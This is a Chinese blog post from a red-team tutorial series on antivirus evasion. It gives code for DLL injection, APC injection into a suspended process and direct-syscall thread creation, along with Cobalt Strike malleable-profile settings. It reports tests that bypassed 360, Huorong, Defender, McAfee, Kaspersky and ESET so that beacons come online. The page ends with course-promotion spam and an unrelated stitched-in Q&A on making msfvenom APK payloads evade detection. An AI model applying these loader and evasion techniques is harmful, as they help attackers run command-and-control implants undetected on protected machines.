红队基础免杀(“反射型 dll 注入”及“柔性加载”)

引言

本文主要介绍“反射型 dll 注入”及“柔性加载”技术。

反射型 dll 注入

为什么需要反射型 dll 注入

常规的 dll 注入代码如下:

int main(int argc, char *argv[]) {HANDLE processHandle;PVOID remoteBuffer;wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);        WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);CloseHandle(processHandle); 
return 0;}

主要做了几件事情:

  1. 从磁盘读取 dll 到 wchar_t 数组

  2. 将该 payload 数组写入目标内存

  3. 在目标内存中找到 LoadLibraryW 函数

  4. 通过 CreateRemoteThread 调用 LoadLibraryW 函数,参数为 dll 在内存中的地址。

这样的操作模式有几个很高危的点。首先,从磁盘读取 dll 需要考虑 dll 的静态免杀,对此我们可以直接写在装载器中并加密。

其次,在目标内存中找到 LoadLibraryW 函数,需要 GetProcAddress LoadLibraryW,这种调用属于很有特征的调用模式,容易被 AV/EDR 归类。对此我们的解决措施就是接下来要提及的反射型 dll 注入技术。

最后,CreateRemoteThread 进行远程线程注入 行为本身就很高危,同时参数是 LoadLibraryW 的地址,一眼 malware。

对此我们优化调用,不再使用 CreateRemoteThread 进而使用创建新进程的方式结合反射型 dll 注入技术改变 dll 注入技术的调用模式。

实现思路

早期的 dll 注入实现原理:

上图比较清楚的写了反射型 dll 注入的原理,1,2,3 步由 A 向 B 线程写入 dll。第四步调用 B 线程中的 embedded bootstrapper code。最后通过 bootstrapper shellcode 调用 dll 的导出函数 reflective loader。

reflective loader 实际上是一个自己实现的 LoadLibraryW 函数,从内存中找到我们写入的 dll 并修复使其成为可以被正常使用的 pe 文件,最后调用 DLLmain 实现我们的恶意功能。

我们的具体实现和上面早期的思路有所区别,首先我们不使用远程进程/线程注入的方式,其次我们不需要 bootstrapper shellcode 这个部分,我们可以直接在加载器部分算出 reflective loader 在内存中的地址,直接调用即可。

【一一帮助安全学习,所有资源获取处一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部视频资源

⑨历年 CTF 夺旗赛题解析

具体实现

加载器部分

首先 shellcode 使用 AES 解密,这部分添加了一些 c 的代码加密

后来发现原本项目的 release 目录下有 python 的加密脚本:

解密载入内存后,使用 GetReflectiveLoaderOffset 计算出 ReflectLoader 函数的偏移:

最后创建线程调用 ReflectLoader 函数。

dll 部分

ReflectiveLoader 一共做了 5 件事:

一、 解析加载 DLL 所需 kernel32.dll WINAPI 的地址(例如 VirtualAlloc, LoadLibraryA 等),通过关键函数的 hash 在内存中搜索,函数 hash:

遍历内存进行搜索:

二、 将 DLL 及其相应的节写入内存中:

三、 建立 DLL 导入表,以便 DLL 可以调用 ntdll.dll 和 kernel32.dll WINAPI

四、 修复重定位表:

五、 调用 DLL 的入口点:

最终我们的恶意代码位于 dllmain 中,项目还是采用加载 shellcode 的方式上线 cs。

柔性加载

限制使用具有 RWX 标记的内存,cs 在 4+可以直接进行相关配置。

推荐配置:

set startrwx        "false";set userwx          "false";set cleanup         "true";set stomppe         "true";set obfuscate       "true";set sleep_mask      "true";set smartinject     "true";

牛刀小试

360

使用 base64+xor 混淆 shellcode:

成功 bypass:

火绒

和上述方法相同:

definder

加强 shellcode 的混淆:

std::string rest2_reference = "xxx@@";std::string rest3_reference = replace(rest2_reference, "@@", "==");

依旧报毒,但是类型发生改变了,说明静态的混淆有效果:

异或的操作,比较可疑,经过测试发现是 cs 的 shellcode 出现在数组里就报毒,应该是对内存进行的扫描。

所以我们可以使用《文章二》中提及的技术“规避常见的恶意 API 调用模式”,将 shellcode 分片直接写入连续内存。

在测试的过程中发现莫名其妙的过了查杀:

很神奇,这段并没有实现内存的切片写入,因为 shellcode 的大小没有达到 4096,实际上相当于直接分配了个大小为 4096 的数组,写入了 shellcode。

而且把这段代码相同的格式放外面就不行,个人感觉 definder 还是没有去检查内存。

可能是有语义分析的引擎,这次刚好绕过了语义分析。

macfee

同上方法可以成功 bypass:

正常执行命令:

kasperky Endpoint 11 for windows

用过 macfee 和 definder 的 demo2 测试失败,注释掉代码加载部分不报毒,改用 apc 和创建进程的的方式加载内存:

SIZE_T shellSize = 4096;STARTUPINFOA si = { 0 };PROCESS_INFORMATION pi = { 0 };
CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);HANDLE victimProcess = pi.hProcess;HANDLE threadHandle = pi.hThread;
LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress;
WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL);QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL);ResumeThread(threadHandle);

依旧不行:

使用 syscall 调用 NtCreateThreadEx。这里被坑了,WaitForSingleObject 要使用,不然会异步,没法上线:

ANtCTE(    &hThread,    THREAD_ALL_ACCESS,    NULL,    GetCurrentProcess(),    (LPTHREAD_START_ROUTINE)exec,    NULL,    NULL,    0,    0,    0,    nullptr);WaitForSingleObject(hThread, INFINITE);

能看到效果,行为检测依旧有问题:

但漏洞利用防御已经没有相关报警:

怀疑是 cs 本身流量特征的问题,为了验证我使用卡巴斯基本身的功能禁用了网络请求:

确实不杀也不报警了,确定是 cs 通信的问题。

ESET Endpoint Security

demo3 报警,并且明显检测到网络连接行为

静态没有问题

主要应该还是在对内存的检测,而且感觉已经执行到了发包

下面根据《三》中的“beacon 的内存加密”对 demo3 进行优化,使用 RefleXXion 工具的第二种将内存设为 NO_ACCESS 并通过注册异常处理还原的方式进行免杀。

设置流量的白名单:

关闭 web 控制后成功并上线

eset 在持续在扫描内存,但一直没有权限,一直触发异常,无法进入正常的后门逻辑

能绕过内存的检测,但无法正常使用

感觉 ESET 一直在我程序里进行内存操作,访问到了不可访问的内存段。

可能 ESET 的机制是一直在扫描程序内存,也可能是想要做一些 hook。

我尝试使用 RefleXXion 的第一种方法,将 shellcode 加密并使属性为 RW 或 RX 的方式加载 shellcode:

可以成功上线,并且正常使用:

总结

该系列文章所有的 bypass edr 方法都只在用户态进行操作,已经能规避大多数 AV/EDR 的检测。但不乏一些 edr 进行了比较多的内核层面的限制,如炭黑、fireeye 等。

题外话

很多小伙伴想要一窥网络安全整个体系,这里我分享一份打磨了4年,已经成功修改到4.0版本的《平均薪资40w的网络安全工程师学习路线图》对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

     如果你想要入坑黑客&网络安全工程师,这份282G全网最全的网络安全资料包!

  网络安全大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

​​​​​
 学习资料工具包

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

​​​​​

网络安全源码合集+工具包

​​​​

视频教程

​​​​

 视频配套资料&国内外网安书籍、文档&工具

​​​
​​ 因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取

黑客/网安大礼包:CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

  • 8
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: Msfvenom是开源安全工具Metasploit中的一个强大的工具,用于生成恶意文件。通过它可以生成各种类的恶意文件,包括可执行文件、脚本、payload等。其中,在生成Android平台上的恶意文件时,最常用的是apk格式。Msfvenom生成apk文件的主要目的是用于在渗透测试红队行动中进行攻击或利用。 想要绕过Android平台上的杀毒软件,需要对apk文件进行免杀处理。Msfvenom在生成apk文件时,可以设置一些参数来达到免杀的目的。比如说,可以指定恶意应用使用的一些系统权限和组件,以逃避杀毒软件的检测。还可以在生成payload时添加混淆(obfuscation)代码,使恶意代码更难被发现和分析。 Msfvenom还提供了一些其他的功能,如生成多个Paylod以及生成免杀的多平台Payload等。需要注意的是,使用Msfvenom生成一个完全免杀的apk是非常困难的。因为安全厂商会不断更新库以便检测恶意应用,开发者需要不断更新代码以保持攻击效果。 总的来说,Msfvenom是一款攻击能力强大的工具,但其需要谨慎使用,并且需要经过深入的学习和实践进行掌握。为了避免利用该工具进行恶意攻击,使用人员应当是经过事先明确授权的安全专业人员。 ### 回答2: MSFVenom是Metasploit框架中的一个模块,它可用于生成各种类的恶意软件。其中,生成的APK免杀的原理主要是通过修改APK的元数据信息和代码,使之不被杀毒软件所识别。 具体来说,生成APK免杀的步骤如下: 首先,使用MSFVenom生成APK恶意软件,可以自定义恶意软件的功能和载荷类。 然后,根据需要修改APK的元数据信息,如软件名称、版本号、签名等,以此来欺骗杀毒软件的识别机制。 接下来,对APK的代码进行混淆和加密处理,使其难以被分析和检测。常用的混淆和加密工具包括ProGuard、DexGuard、Jadx等。 最后,通过在恶意软件中植入反调试和动态加载技术等手段,进一步增强其免杀能力。 需要注意的是,在使用MSFVenom生成APK免杀的过程中,应当遵守法律法规,不得用于非法用途,以免触犯相关法律。同时,建议加强网络安全意识,加强网络安全防范,以免受到攻击。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值